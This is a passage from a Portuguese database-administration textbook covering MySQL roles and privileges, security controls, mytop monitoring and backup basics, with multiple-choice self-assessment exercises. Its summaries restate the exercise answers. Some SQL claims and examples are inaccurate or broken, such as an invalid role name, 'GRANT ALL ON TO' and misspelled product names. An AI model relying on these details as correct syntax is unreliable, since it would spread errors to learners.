Pode-se adicionar quantos usuários e/ou listas forem necessárias. A


criação de uma lista é feita por meio do comando CREATE ROLE, como você
pode ver a seguir:

CREATE ROLE [IF NOT EXISTS nomeLista [, nomeLista] ...

Como exemplo, suponha que os estagiários da área financeira de uma


empresa devem ter a mesma visibilidade dos usuários do banco de dados. Pode-
se criar uma lista para esses estagiários do departamento financeiro. Nesse caso,
o comando seria:

CREATE ROLE ESTAG-FIN;

• Alteração de listas

A alteração das configurações das listas deve ser realizada a partir do


comando ALTER USER.

36
TÓPICO 2 — GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO BANCO DE DADOS

• Exclusão de listas

A exclusão de listas é realizada a partir do comando DROP ROLE,


conforme sintaxe a seguir:

DROP ROLE [IF EXISTS] nomeLista [, nomeLista] ...

37
RESUMO DO TÓPICO 2
Neste tópico, você aprendeu que:

• Os usuários finais somente acessam o banco de dados por meio de aplicações.


Atuam no nível de visão.

• O usuário especialista acessa os dados via aplicação e, também, consegue


realizar consultas diretamente no banco de dados, por linguagens específicas.

• O programador é o usuário que constrói as aplicações para acesso ao banco de


dados e o DBA é o profissional responsável pela manutenção do banco de dados.

• O analista de sistemas é um profissional da área de tecnologia, mas é


responsável pela definição das aplicações que utilizarão os dados.

• Confidencialidade é a garantia de que a informação é acessível somente por


pessoas autorizadas.

• Quando NÃO se cumpre a confidencialidade é que existe quebra de sigilo da


informação. Integridade é a garantia da exatidão e, também, completeza da
informação e dos métodos de processamento.

• Disponibilidade é a garantia de que os usuários autorizados obtenham acesso


à informação e aos ativos correspondentes sempre que necessário.

• São três os níveis de abstração: visão, conceitual e físico.

• O nível de visão é o nível utilizado pelos usuários finais e é definido de acordo


com as necessidades de informações de cada usuário ou grupo.

• O nível de abstração lógico é utilizado pelos administradores do banco de


dados para administração dos dados, e não para o gerenciamento do espaço
de armazenamento.

• O nível de abstração físico é considerado o nível mais baixo e apresenta os


dados como são armazenados no banco de dados. O nível visão, o mais alto
nível, é utilizado pelos usuários finais e apresenta somente o que é necessário.

• Grupo é um recurso utilizado para facilitar a manutenção de usuários em


um banco de dados. Ele agrupa usuários com o mesmo perfil. Não está
relacionado com a comunicação entre usuários. O particionamento dos dados
que serão acessados é inerente à gerência de usuário. A possibilidade de
execução de procedimentos de forma concorrente é dada a todos os usuários,
independentemente de ter grupos formados, pois o controle de transação é
por usuário.

38
• FORCE, IMMEDIATE, AUTOMATIC E EXPIRE IMMEDIATE não são
parâmetros do comando create user. Para expirar a senha no primeiro acesso
ao parâmetro é EXPIRE.

• A concessão de privilégio no SGBD é efetivada a partir do comando GRANT


com o formato: GRANT <privilégio> ON <lista de nome de tabela> TO
‘USER001@’localhost’;. O REVOKE elimina privilégio e não concede. O create
é utilizado para criar objetos e não privilégios para o objeto.

• Para eliminar privilégios, o comando utilizado pelo SGBD é o REVOKE,


com a sintaxe: REVOKE ALL [PRIVILEGES] [, GRANT OPTION] FROM
nomeUsuario | nomePapel [,nomeUsuario | nomePapel, ...]. O comando
DELETE é utilizado para apagar linhas dentro das tabelas. O comando DROP
é para apagar objetos, como tabela, visão e índices. Portanto, como é para
apagar todos os privilégios, utiliza-se o parâmetro ALL.

• SELECT é o tipo de privilégio para realizar as consultas nas tabelas. UPDATE


é o tipo de privilégio para alterar dados nas tabelas. ALTER é o comando
usado para alterar características de objetos, como tabelas e usuários. LIST
não é um comando adotado pelo SQL. MODIFY é um método utilizado para
filtrar documentos. Portanto, os tipos de privilégios para consultar e alterar
dados em uma tabela são SELECT e UPDATE.

• Comandos SQL que dão acesso aos dados são instruções de consulta (SELECT),
alteração (UPDATE), inserção (INSERT) e remoção (DELETE). Não existe o
conceito de hierarquia entre grupos de usuários na administração de banco
de dados. Não existe favorecimento aos usuários que pertencem ao grupo. Ter
grupo facilita a gestão de privilégios. Privilégios não são restrições, mas sim
autorizações. Não se diz o que o usuário não pode fazer, e sim o que ele pode
fazer. Portanto, PRIVILÉGIOS são permissões que um grupo de usuários têm
para a manipulação do banco de dados.

• Comandos SQL que dão acesso aos dados são instruções de consulta (SELECT),
alteração (UPDATE), inserção (INSERT) e remoção (DELETE). Não existe o
conceito de hierarquia entre grupos de usuários na administração de banco
de dados. Não existe favorecimento aos usuários que pertencem ao grupo. Ter
grupo facilita a gestão de privilégios. Privilégios não são restrições, mas sim
autorizações. Não se diz o que o usuário não pode fazer, e sim o que se pode
fazer. Portanto, PRIVILÉGIOS são permissões que um grupo de usuários têm
para a manipulação do banco de dados.

• O comando REVOKE ROLE é utilizado para revogar privilégio de grupo.


O comando CREATE ROLE é aplicado para criar um papel/grupo, mas não
atribuir sua lista de privilégios a usuários. O comando ALTER ROLE não aplica
para gestão de papéis/grupos. O comando ALTER é utilizado para alterar
características de objetos de banco de dados, por exemplo, USER/TABELAS.

39
O comando INSERT ROLE não se aplica para a gestão de papéis/grupos.
O comando INSERT é utilizado para inserir linhas nas tabelas. Portanto,
o comando usado para atribuir privilégios a um conjunto de usuários é o
GRANT ROLE.

40
AUTOATIVIDADE

1 Os usuários que utilizam os bancos de dados são classificados pelo tipo de


utilização que fazem dos dados. Com base no exposto, assinale a alternativa
CORRETA que indica o tipo de usuário que somente acessa o banco de
dados por meio de aplicações construídas:

a) ( ) Finais.
b) ( ) Programador.
c) ( ) Especialista.
d) ( ) Analista de sistemas.

2 O DBA deve ter três pontos de preocupação no tratamento da segurança da


informação: confidencialidade, integridade e disponibilidade. Diante disso,
assinale a alternativa CORRETA que define o aspecto de confidencialidade:

a) ( ) Garantia de que haverá quebra de sigilo da informação às pessoas


autorizadas.
b) ( ) Garantia de que a informação é acessível somente por pessoas autorizadas.
c) ( ) Garantia da exatidão da informação e dos métodos de processamento.
d) ( ) Garantia de que os usuários autorizados obtenham acesso à informação
e aos ativos correspondentes sempre que necessário.

3 O gerenciamento de usuários disponibiliza o recurso de criação de grupo


de usuários. Acerca do exposto, assinale a alternativa CORRETA que
identifica o objetivo de se criar grupo de usuários:

a) ( ) Facilitar a comunicação entre os usuários de um mesmo grupo.


b) ( ) Facilitar a manutenção de usuários em um banco de dados, em termos
de configuração de acesso e visibilidade de recursos.
c) ( ) Permitir acesso coletivo com utilização de uma mesma identificação e
senha.
d) ( ) Particionar os dados que serão acessados.

4 A criação de um usuário no ambiente MySQL possibilita configurar a


atualização da senha de várias formas. Diante disso, assinale a alternativa
CORRETA que define a senha do usuário forçando a atualização imediata
no primeiro acesso:

a) ( ) CREATE USER ‘teste’@'localhost' IDENTIFIED BY ‘123456’ PASSWORD


EXPIRE.
b) ( ) CREATE USER ‘teste’@'localhost' IDENTIFIED BY ‘123456’ PASSWORD
FORCE.
c) ( ) CREATE USER ‘teste’@'localhost' IDENTIFIED BY ‘123456’ PASSWORD
IMMEDIATE.
d) ( ) CREATE USER ‘teste’@'localhost' IDENTIFIED BY ‘123456’ PASSWORD
AUTOMATIC.

41
42
TÓPICO 3 —
UNIDADE 1

CONHECENDO OS DESAFIOS DA ADMINISTRAÇÃO DE


BANCO DE DADOS

1 INTRODUÇÃO
A administração dos bancos de dados é um item primordial para o bom
desempenho, a segurança e a confiabilidade dos dados armazenados. A tarefa de
administrar demanda conhecimento, planejamento e um cuidado bem específico
em relação à estrutura do banco de dados. Por isso, muitas empresas estão dando
mais cuidado e atenção a esse elemento, seja contratando um administrador de
banco de dados ou terceirizando essa função com uma consultoria em TI.

DICAS

Observe os principais desafios da administração de banco de dados com


relação à tecnologia, performance e segurança.

FONTE: O autor

É importante vermos a aplicabilidade do tema na prática. Para tal,


preparamos o UNI DICAS a seguir.

43
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

DICAS

Na empresa VeloExpress, da área de logística, em horários aleatórios, o sistema


ficava extremamente lento. Percebeu-se que o hardware chegava a parar de responder,
sendo necessário reiniciá-lo.

Nesta situação, com a intuição de não prejudicar a performance do trabalho dos


funcionários, o profissional de TI utilizou uma das ferramentas de monitoramento do banco
de dados para que fosse percebido e gerado log do evento que sobrecarrega o sistema.

FIGURA – BANCO DE DADO DO TIPO MYSQL

FONTE: O autor

O banco de dados é um dos elementos da administração de um ambiente


de informação. Para um usuário final, a organização do banco de dados é invisível,
apenas aparecendo os seus resultados quando este é bem formatado e executado.
No caso de problemas, o usuário final identificará dados inconsistentes ou
problemas com a sua performance, mas não visualizando o banco de dados em si.

Três áreas continuam a ser os maiores desafios de gerenciamento para os


administradores de banco de dados, a seguir, vamos estudar cada uma delas.

44
TÓPICO 3 — CONHECENDO OS DESAFIOS DA ADMINISTRAÇÃO DE BANCO DE DADOS

2 TECNOLOGIAS
Nos últimos anos, o surgimento de forças, como a TI híbrida, virtualização,
computação em nuvem, convergência continuada de infraestrutura e BYOD
(traga seu próprio dispositivo) ofereceram aos profissionais de tecnologia novas
formas de trabalhar, revolucionando o modelo tradicional até então praticado
na área. A expectativa é de que as pessoas que trabalham nessa área consigam
colocar em prática conceitos e tendências tecnológicas, como bancos de dados
embutidos, Internet das Coisas (IoT) e Cloud Computing, mas sem deixar de lado
as habilidades de gerenciar tecnologias e infraestruturas tradicionais.

Cabe ao Administrador de Banco de Dados e a sua equipe considerarem


as possibilidades para então definir o uso de SGBD físico ou a utilização de um
serviço na nuvem, sobre essa decisão pesarão diversos fatores que deverão ser
analisados antes de tomar uma decisão final. O mesmo vale para o tipo de SGBD
escolhido de acordo com as suas características, funções, desempenho e custos.

Com sua promessa de economia de custos e maior flexibilidade e


agilidade, a Nuvem está atraindo muitas organizações como uma alternativa
para a implantação de novos aplicativos, incluindo aqueles com altos requisitos
de desempenho de banco de dados. Entretanto, essa transição cria novas
complexidades e desafios para os DBAs, especialmente porque os DBAs ainda
são, em última análise, os responsáveis tanto pelo desempenho dos bancos de
dados quanto pela segurança dos dados, independentemente de eles estarem nas
próprias instalações ou na nuvem.

São algumas considerações para o gerenciamento dos dados na nuvem


que os DBAs devem ponderar antes de sua escolha:

• Ao considerar quais bancos de dados são migrados para a nuvem, levar em conta
o processo de transferência de dados e a latência, além de como manter os bancos
de dados em sincronia, se necessário, especialmente se for preciso integrar os
aplicativos com outros que não residam na mesma implantação na nuvem.
• Um banco de dados com desempenho insatisfatório nas instalações também
apresentará um mau desempenho na nuvem. Mudar o problema de lugar não
é solução. O escalonamento na nuvem para compensar um mau desempenho
pode sair caro rapidamente, além de ser a abordagem incorreta.
• Entender os serviços e as capacidades do provedor de serviços, avaliar a
arquitetura recomendada e estar atento à manutenção programada.
• Refletir, planejar e gerenciar o backup e recuperação para garantir que dados
importantes não sejam perdidos caso ocorra uma falha ou interrupção no
fornecedor.
• Mantenha-se à frente da segurança, percebendo que a criptografia é apenas
a ponta do iceberg – considere quem monitorará o acesso ao banco de dados
impedindo o acesso mal-intencionado ou não autorizado, prepare-se para
o pior e tenha um plano de ação documentado para o caso de violação da
segurança ou perda de dados.

45
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

• Se é importante monitorar e otimizar as implantações nas instalações, isso


é ainda mais importante na nuvem, dada sua natureza dinâmica, sendo
ideal usar um conjunto de ferramentas consistente em ambos os lados dos
ambientes de TI híbrida.

A Figura 6 a seguir procura relatar o ranking dos SGBDs mais utilizados


e traçar uma relação entre as suas tecnologias:

FIGURA 6 – RANKING DOS SGBDs

FONTE: Adaptada de <http://db-engines.com/en/>. Acesso em: 11 ago. 2021.

Nas quatro primeiras posições desse ranking, são vistos dois modelos de
SGBDs de licença proprietária (Oracle e SQL Server) e dois modelos de licença
Open Source (Livre, de código aberto, MySQL e MondoDB). O MondoDB vem em
forte crescimento no mercado mundial, ocupando já a quarta posição superando
o também bastante utilizado PostreSQL. Um dos motivos dessa ascensão é o fato
do MongoDB não trabalhar com o modo Relacional de tabelas como os outros
SGBDs, mas com um sistema de Índices também conhecido como NO-SQL.

3 PERFORMANCE
A performance do banco de dados é um fator de grandes desafios para o
BDA. O conjunto que envolve Hardware+Sistema+SGBD deve estar equacionado
para uma performance satisfatória. No entanto, conforme o crescimento e a demanda
das informações armazenadas, essa tarefa torna-se cadê vez mais complexa. Muitas
vezes a escolha inicial de infraestrutura pode não ser mais suficiente, não atendendo
às demandas necessárias, necessitando de migração ou atualização, ou a sua
manutenção e configuração não estão ocorrendo de forma organizada e coerente
com as necessidades da plataforma, causando transtornos e inconsistências.
46
TÓPICO 3 — CONHECENDO OS DESAFIOS DA ADMINISTRAÇÃO DE BANCO DE DADOS

A modelagem dos dados e a construção de consultas otimizadas são


extremamente importantes no desempenho do banco de dados. Campos mal
definidos, com tamanhos de dados equivocados tanto para textos quanto para
números são determinantes para a performance, toda a definição dos dados
(DDL) deve ser dimensionada para o tipo de dado que cada registro receberá. O
mesmo vale para a organização das consultas. Índices e constraints (restrições)
já devem ser criados na etapa de definição para que possam ser utilizadas de
forma ágil durante a manipulação dos dados (DML) com consultas simplificadas
e de resultados diretos. Muitas vezes uma base possui milhares ou até milhões
de registros, se uma consulta não for restrita ao que se deseja, o tempo de espera
poderá ser bastante demorado, prejudicando todo o sistema.

Uma das formas de monitorar o desempenho de um SGBD (MySQL neste


exemplo) é através da ferramenta MYTOP (Linux/Open Source). Para usá-la é
necessário executar o comando:

mytop -u <usuario> -p <senha> -h <host>



Ao executá-lo, serão mostradas todas as informações dos bancos de dados
armazenados, assim como os tempos de acesso e possíveis problemas, como são
apresentados na figura a seguir:

FIGURA 7 – TELA DO MYTOP NO LINUX

FONTE: O autor

Um erro bastante comum é se preocupar com segurança e desempenho


apenas diante da reclamação dos usuários de um dado alterado indevidamente
ou lentidão na utilização do sistema, pois um monitoramento pontual não terá
fundamento para mostrar que o banco de dados não é o culpado. É necessário
monitoramento e relatórios constantes que auxiliem o DBA a identificar gargalos,
tomando as ações necessárias preventivamente, ou mesmo comprovando que
o problema não está no banco de dados, podendo direcionar o tratamento do
problema para o local correto.

47
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

4 SEGURANÇA
A preocupação com a criação e manutenção de ambientes seguros se tornou
a ocupação principal de administradores de redes, de sistemas operacionais e
de bancos de dados. Pesquisas mostram que a maioria dos ataques, roubos de
informações e acessos não autorizados são feitos por pessoas que pertencentes
à organização alvo. De modo geral, os mecanismos de segurança referem-se às
regras impostas pelo subsistema de segurança do SGBD, que verifica todas as
solicitações de acesso, comparando-as com as restrições de segurança armazenadas
no catálogo do sistema. Entretanto existem brechas no sistema e ameaças externas
que podem resultar em um servidor de banco de dados comprometido ou na
possibilidade de destruição ou no roubo de dados confidenciais.

As ameaças aos bancos de dados podem resultar na perda ou degradação


de alguns ou de todos os objetivos de segurança aceitos, são eles: integridade,
disponibilidade e confidencialidade. A integridade do banco de dados se refere
ao requisito de que a informação seja protegida contra modificação imprópria. Os
bancos de dados SQL implementam mecanismos que restringem ou permitem
acessos aos dados de acordo com PAPÉIS ou roles fornecidos pelo administrador.
O comando GRANT concede privilégios específicos para um objeto (tabela, visão,
sequência, banco de dados, função, linguagem procedural, esquema ou espaço de
tabelas) para um ou mais usuários ou grupos de usuários.

São tipos de controles que podem ser implementados para garantir maior
segurança nos bancos de dados:

• Controle de Acesso

É todo controle feito quanto ao acesso ao BD, impondo regras de restrição,


através das contas dos usuários. O DBA é o responsável superior por declarar as
regras dentro do SGBD. Ele é o responsável por conceder ou remover privilégios,
criar ou excluir usuários, e atribuição de um nível de segurança aos usuários do
sistema, de acordo com a política da empresa.

• Controle de Inferência

É um mecanismo de segurança para banco de dados estatísticos, que atua


protegendo informações estatísticas de um indivíduo ou de um grupo. Bancos
de dados estatísticos são usados principalmente para produzir estatísticas sobre
várias populações. O banco de dados pode conter informações confidenciais
sobre indivíduos. Os usuários têm permissão apenas para recuperar informações
estatísticas sobre populações e não para recuperar dados individuais, como a
renda de uma pessoa específica.

48
TÓPICO 3 — CONHECENDO OS DESAFIOS DA ADMINISTRAÇÃO DE BANCO DE DADOS

• Controle de Fluxo

É um mecanismo que previne que as informações fluam por canais secretos


e violem a política de segurança ao alcançarem usuários não autorizados. Ele
regula a distribuição ou fluxo de informação entre objetos acessíveis. Um fluxo
entre o objeto A e o objeto B ocorre quando um programa lê valores de A e escreve
valores em B. Os controles de fluxo têm a finalidade de verificar se informações
contidas em alguns objetos não fluem explícita ou implicitamente para objetos de
menor proteção. Dessa maneira, um usuário não pode obter indiretamente em B
aquilo que ele ou ela não puder obter diretamente de A.

• Criptografia de Dados

Você pode ler aqui um pouco mais sobre criptografia. É uma medida
de controle final, utilizada para proteger dados sigilosos que são transmitidos
por meio de algum tipo de rede de comunicação. Ela também pode ser usada
para oferecer proteção adicional para que partes confidenciais de um banco de
dados não sejam acessadas por usuários não autorizados. Para isso, os dados
são codificados através da utilização de algum algoritmo de codificação. Assim,
um usuário não autorizado terá dificuldade para decifrá-los, mas os usuários
autorizados receberão chaves para decifrar esses dados. A criptografia permite
o disfarce de mensagem, para que, mesmo com o desvio da transmissão, a
mensagem não seja revelada.

• Privilégios

Os privilégios são permissões únicas dadas a cada usuário ou grupo.


Eles definem permissões para tipos de autorização. Pelos privilégios é possível
autorizar o usuário a modificar ou alcançar determinado recurso do Banco de Dados.

O SGBD deve oferecer acesso seletivo a cada relação do banco de dados,


baseando-se em contas específicas. As operações também podem ser controladas;
assim, possuir uma conta não necessariamente habilita o possuidor a todas as
funcionalidades oferecidas pelo SGBD. Informalmente, existem dois níveis para
a atribuição de privilégios para o uso do sistema de banco de dados:

• Nível de conta: nesse nível, o DBA estabelece os privilégios específicos que


cada conta tem, independente das relações no banco de dados.
• Nível de relação (ou tabela): nesse nível, o DBA pode controlar o privilégio
para acessar cada relação ou visão individual no banco de dados.

Em alguns casos, interessa conceder um privilégio temporário a um usuário.


Por exemplo, o proprietário de uma relação pode querer conceder o privilégio
SELECT a um usuário para uma tarefa específica e depois revogar aquele privilégio
quando a tarefa estiver completada. Por isso, é necessário um mecanismo para a
revogação de privilégios. Em SQL, um comando REVOKE é introduzido com o
intento de cancelar privilégios.

49
RESUMO DO TÓPICO 3
Neste tópico, você aprendeu que:

• Com a criação de índices, é possível agrupar views e melhorar o tempo de


pesquisa e resposta.

• A utilização de BigData tem crescido ultimamente.

• A Internet of Things (IoT) está revolucionando os estudos em banco de dados.

• As técnicas de restore já são de domínio comum do administrador de banco de


dados.

• O paralelismo é uma técnica que dever ser dominada nativamente por


administradores de banco de dados.

• As técnicas de backup já são de uso comum dos administradores de bancos


de dados.

• Oracle é o banco de dados mais utilizado atualmente e com constante evolução


para novas tecnologias e desafios.

• MySQL, apesar de ter excelente suporte a novas tecnologias, é o segundo


banco de dados mais utilizado.

• MongoDB, apesar de sua rápida e constante ascensão e utilização, ainda está


em quarto lugar.

• O Amazon Dynamo DB é pouco conhecido e difundido atualmente.

• O comando mysqlchec efetua uma checagem no banco de dados.

• Mytop é a ferramenta de monitoramento do banco mysql.

• O comando mysqldump efetua backup.

• O administrador de banco de dados cria instruções de segurança, integridade


e processamento de regras.
]
• O controle de acessos discricionário é nível de privilégio de acesso a partes
específicas do banco. Esse recurso de segurança define o nível de acesso em
cada parte do banco para cada usuário.

50
• Modelagem do banco e backup do banco de dados são atribuições do DBA.
• A tag DROP não faz parte do comando GRANT. A tag CREATE não faz parte
do comando GRANT.

• DROP ROLE e REVOKE definem a exclusão de uma regra e a retirada de um


privilégio respectivamente.

• A tag DROP não pode ser combinada com o comando REVOKE.

• A sintaxe do comando para criar a ROLE é CREATE ROLE NOME_DA_ROLE.

• CREATE TABLE ADMINISTRADORES cria a tabela de administradores.

• CREATE DATABASE ADMINISTRADORES cria o banco de dados com nome


administradores.

• GRANT ALL ON TO ADMINISTRADORES define privilégios para a ROLE


administradores.

CHAMADA

Ficou alguma dúvida? Construímos uma trilha de aprendizagem


pensando em facilitar sua compreensão. Acesse o QR Code, que levará ao
AVA, e veja as novidades que preparamos para seu estudo.

51
AUTOATIVIDADE

1 Sabendo que um banco de dados tem perda de performance nas VIEWs,


qual técnica pode ser utilizada para obter melhora?

a) ( ) Checar a tabela.
b) ( ) Criar índices das views.
c) ( ) Excluir dados não utilizados.
d) ( ) Criar uma outra tabela para relacionar buscas.

2 Com relação à tecnologia atual que necessita de qualificação do administrador


de banco de dados, assinale a alternativa CORRETA:

a) ( ) Tuning de banco de dados.


b) ( ) Dividir o banco de dados principal em pequenos bancos de dados.
c) ( ) Utilizar BigData.
d) ( ) Utilizar bancos NoSQL.

3 Qual é a tecnologia atual que está consumindo muito a pesquisa do banco


de dados?

a) ( ) IoT.
b) ( ) Cloud.
c) ( ) Backup.
d) ( ) Restore.

4 Entre os bancos de dados existentes, qual é o que se destaca pelo maior uso
e abrangência a novas tecnologias?

a) ( ) Oracle.
b) ( ) MySQL.
c) ( ) MongoDB.
d) ( ) _ Amazon Dynamo DB.

5 Qual é o comando que pode ser utilizado para monitorar o banco de dados
MySQL?

a) ( ) Mytop.
b) ( ) Mysqltop.
c) ( ) Mysqlcheck.
d) ( ) Mysqldump.

52
REFERÊNCIAS
ABNT. ABNT NBR ISO/IEC 27002: tecnologia da informação: técnicas de
segurança: código de prática para a gestão da segurança da informação. Rio de
Janeiro: ABNT, 2005.

AURÉLIO. Qual é o significado de Visão? Dicionário do Aurélio [On-line]. 2018.


Disponível em: https://dicionariodoaurelio.com/visao. Acesso em: 12 abr. 2021.

CARDOSO; F. E.; OLIVEIRA, P. C. Política de segurança da informação nas


empresas. Ou- rinhos: FATEC, 2013. Disponível em: https://s.profissionaisti.com.
br/wp-content/uploads/2013/06/Politica-de-Seguran%C3%A7a-nas-Empresas.
pdf. Acesso em: 12 abr. 2021.

CARDOSO, V.; CARDOSO, G. Linguagem SQL: fundamentos e práticas. São


Paulo: Saraiva, 2012.

CAMPOS, A. L. N. Sistemas de segurança da informação: controlando riscos. 2.


ed. Florianópolis: Visual Books, 2007.

DANTAS, M. Segurança da informação: uma abordagem focada em gestão de


riscos. Olinda: Livro rápido, 2011. Disponível em: http://www.marcusdantas.
com.br/files/seguranca_informacao.pdf. Acesso em: 12 abr. 2019.

ELMASRI, R.; NAVATHE, S. B. Sistemas de banco de dados. 6. ed. São Paulo:


Pearson Brasil, 2010.

EXASOL. Grant. c2020a. Disponível em: https://docs.exasol.com/sql/grant.htm.


Acesso em: 19 fev. 2021.

EXASOL. Revoke. c2020b. Disponível em: https://docs.exasol.com/sql/revoke.


htm. Acesso em: 19 fev. 2021.

FONTES, E. Praticando a segurança da informação. Rio de Janeiro: Brasport, 2008.

GRAVES, M. Projeto de Banco de Dados com XML. São Paulo: Pearson


Education, 2003.

MACEDO, D. Administração de usuários e privilégios no banco de dados.


Diego Macedo: um pouco de tudo sobre T. I. 2011. Disponível em: https://www.
diegomacedo.com.br/administracao-de-usuarios-e-privilegios-no-banco-de-
dados/. Acesso em: 12 abr. 2021.

MYSQL. CREATE USER Syntax. 2019a. Disponível em: https://dev.mysql.com/


doc/ref- man/8.0/en/create-user.html. Acesso em: 12 abr. 2019.

53
MYSQL. DROP USER Syntax. 2019b. Disponível em: https://dev.mysql.com/
doc/refman/8.0/ en/drop-user.html. Acesso em: 12 abr. 2019.

RAMAKRISHNAN, R., GEHRKE, J. Sistemas de gerenciamento de banco de


dados. 3. ed. Porto Alegre: AMGH, 2011.

SILBERSCHATZ, A.; KORTH, H. F.; SUDARSHAN, S. Sistema de banco de


dados. Tradução da 6 edição. Rio de Janeiro: Editora Campus, 2012.

SOMMERVILLE, I. Engenharia de software. 8. ed. São Paulo: Pearson Addison


Wesley, 2007

54
UNIDADE 2 —

RECUPERAÇÃO DE BANCO DE DADOS,


DISPONIBILIDADE E LINGUAGEM SQL

OBJETIVOS DE APRENDIZAGEM
A partir do estudo desta unidade, você deverá ser capaz de:

• conceituar e caracterizar backups (ou cópias de segurança em um banco


de dados);
• aplicar backups via script (shell e linhas de comandos);
• explicar o que é a restauração de um backup;
• determinar a necessidade de uso de backups;
• desenvolver a restauração de backups;
• identificar riscos de indisponibilidade em bancos de dados;
• reconhecer procedimentos e técnicas para alta disponibilidade em
bancos de dados;
• discutir funcionalidades para alta disponibilidade nos principais bancos
de dados;
• explicar o que são transações em banco de dados;
• relacionar as propriedades das transações em banco de dados;
• aplicar transações em SQL
• definir o conceito de transação em banco de dados e as propriedades ACID;
• descrever as instruções SQL de linguagem de controle de transações (TCL);
• escrever scripts SQL-TCL para controle de transação e concorrência;
• identificar as categorias de instruções da linguagem SQL (DDL, DML,
TCL e DCL);
• demonstrar como criar e alterar o esquema e o catálogo em banco de
dados SQL;
• descrever os tipos de restrições e seus exemplos;
• entender o SQL Injection.

55
PLANO DE ESTUDOS
Esta unidade está dividida em três tópicos. No decorrer da unidade,
você encontrará autoatividades com o objetivo de reforçar o conteúdo
apresentado.

TÓPICO 1 – BACKUP E RECUPERAÇÃO DE BANCO DE DADOS

TÓPICO 2 – ALTA DISPONIBILIDADE, TRANSAÇÕES E


CONCORRÊNCIA EM BANCO DE DADOS

TÓPICO 3 – LINGUAGEM SQL BÁSICA E SQL INJECTION

CHAMADA

Preparado para ampliar seus conhecimentos? Respire e vamos


em frente! Procure um ambiente que facilite a concentração, assim absorverá
melhor as informações.

56
TÓPICO 1 —
UNIDADE 2

BACKUP E RECUPERAÇÃO DE BANCO DE DADOS

1 INTRODUÇÃO
Atualmente, com a automatização dos processos organizacionais,
armazenar dados sobre negócios em meios digitais passou a fazer parte da rotina
de qualquer empresa. É comum encontrarmos empresas que possuem grandes
volumes de informações armazenadas em bancos de dados.

No entanto, é sabido que equipamentos estão sujeitos a falhas, que


podem tornar os dados indisponíveis, podendo, inclusive, causar prejuízos às
organizações. Para evitar a inatividade de usar operações ou reduzir o período
de indisponibilidade dos dados, empresas implementam rotinas de backup para
salvar cópias de segurança de seus bancos de dados.

Criar cópias de segurança de bancos de dados faz parte das obrigações


de qualquer empresa, uma vez que nenhum equipamento – ou sistema – tem
garantia de que não irá falhar em algum momento. Entre as diversas opções de
cópias de segurança, os backups full e incremental de banco de dados soam como
uma das melhores alternativas quando não há espaço ou tempo suficientes para
realizar cópias completas diariamente.

DICAS

57
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

FONTE: O autor

Um profissional administrador de bancos de dados (DBA) é responsável por


diversas atividades no gerenciamento dos bancos de dados de uma organização.
Entre as suas principais atividades, destaca-se o planejamento e a execução de
backups – cópias de segurança.

Uma cópia de segurança dos bancos de dados MySQL pode ser executada
a qualquer momento e de forma manual pelo DBA. No entanto, na maioria das
vezes é necessário que essas cópias sejam executadas automaticamente, por meio
de scripts.

Um script pode ser entendido como uma sequência de instruções que são
executadas passo a passo por meio de um programa em lote, nomeado com a
extensão .bat. – um programa em lote, também conhecido como batch, que possui
a capacidade de realizar chamadas de arquivos executáveis, bem como capturar
dados do sistema operacional – como data e hora.

A evolução da tecnologia da informação e comunicação torna as empresas


cada vez mais competitivas no mercado de trabalho. No cenário atual, poucas
empresas não possuem sistemas automatizados que armazenem suas informações
em bancos de dados. Contudo, essa modernização produz dependências. Assim,
ter bancos de dados indisponíveis pode ser catastrófico para muitas organizações.
Para evitar a perda ou a indisponibilidade de dados, as rotinas de backup surgiram
como uma boa solução, pois permitem que cópias de segurança sejam realizadas
para garantir que nenhuma (ou pouca) informação seja realmente perdida.
58
TÓPICO 1 — BACKUP E RECUPERAÇÃO DE BANCO DE DADOS

Neste tópico, você estudará os conceitos de cópia de segurança e backup


em banco de dados. Além disso, você verá a aplicação desses conceitos por linhas
de comando no MySQL.

2 CÓPIA DE SEGURANÇA EM BANCO DE DADOS


Com o advento dos sistemas computacionais, as informações passaram a
ser armazenadas em meios digitais. A ideia por trás disso é registrá-las e acessá-
las de modo mais rápido e fácil. Assim, é possível, por exemplo, cadastrar clientes
e fornecedores, registrar dados sobre pedidos, consultar históricos de vendas etc.

Como você sabe, existem diversas formas de armazenar informações em


meio digital, como planilhas, arquivos em formato de texto e, principalmente,
bancos de dados. Por serem mais seguros e eficientes, os bancos de dados
normalmente são os mais utilizados, especialmente por empresas que gerenciam
grandes volumes de dados. No entanto, para muitas organizações, a informação
é o seu maior valor, uma vez que pode concentrar dados importantes e sigilosos
sobre o seu próprio negócio ou sobre o negócio de outras instituições. Assim, ter
as informações disponíveis quando necessário pode representar a diferença entre
o sucesso e o fracasso de suas operações.

Por isso, mais do que permitir o armazenamento e o acesso a informações,


os bancos de dados precisam ser protegidos contra eventos adversos que
podem corromper ou tornar as informações indisponíveis. Entre os principais
problemas que podem ocorrer com bancos de dados, destacam-se desastres e
sinistros, defeitos em equipamentos, falhas em mídias de armazenamento, dados
inconsistentes lançados por usuários e até instruções executadas acidentalmente
por analistas e desenvolvedores. A Tabela 1 mostra alguns dos principais eventos
e ameaças que podem ocorrer em bancos de dados.

TABELA 1 – PRINCIPAIS PROBLEMAS EM BANCOS DE DADOS

59
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

FONTE: Adaptado de Loney e Bryla (2005)

Como você viu, há diversas situações que podem excluir, corromper ou


tornar os bancos de dados indisponíveis. Para mitigar essas ameaças, a melhor
alternativa é realizar uma cópia de segurança dos bancos de dados, ou seja, um
backup. De acordo com Faria (2017, p. 1), o backup consiste em “[...] gerar dados
redundantes com o propósito específico de recuperação no caso de perda dos
originais”. Em outras palavras, fazer um backup de um banco de dados significa
fazer uma cópia de segurança dele para que seja possível restaurá-lo futuramente.

A cópia de segurança deve ser realizada, preferencialmente, em outro local


onde o banco de dados esteja armazenado. Ela pode envolver diversos aspectos,
como o método de realização e o tipo de backup a ser executado. Esses aspectos
fazem parte da estratégia de backup a ser implantada.

E
IMPORTANT

